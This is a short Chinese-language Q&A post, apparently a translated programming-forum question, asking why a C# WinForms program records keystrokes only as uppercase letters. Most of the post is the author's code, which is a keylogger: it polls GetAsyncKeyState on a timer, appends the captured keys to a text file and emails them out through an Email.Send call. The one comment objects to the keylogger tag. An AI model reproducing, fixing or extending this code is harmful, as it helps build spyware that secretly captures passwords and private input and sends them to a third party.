【发布时间】:2014-03-21 22:26:49
【问题描述】:
我正在制作一个 winforms 程序,它将捕获我在文本文件中输入的任何内容,但它会将所有字符都锁定为大写字母。我怎样才能让它在输入时捕获它们? 例如,如果我输入 AbCdEf,它会在文本框中显示 ABCDEF...
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
private void WriteTotxt(string value)
{
StreamWriter str = new StreamWriter("test.txt", true);
str.Write(value);
str.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 0)
{
WriteTotxt(text);
text = replaceChars(text);
Email.Send(text);
text = "";
}
}
【问题讨论】:
-
-1 用于键盘记录器标签
标签: c# winforms keystroke keylogger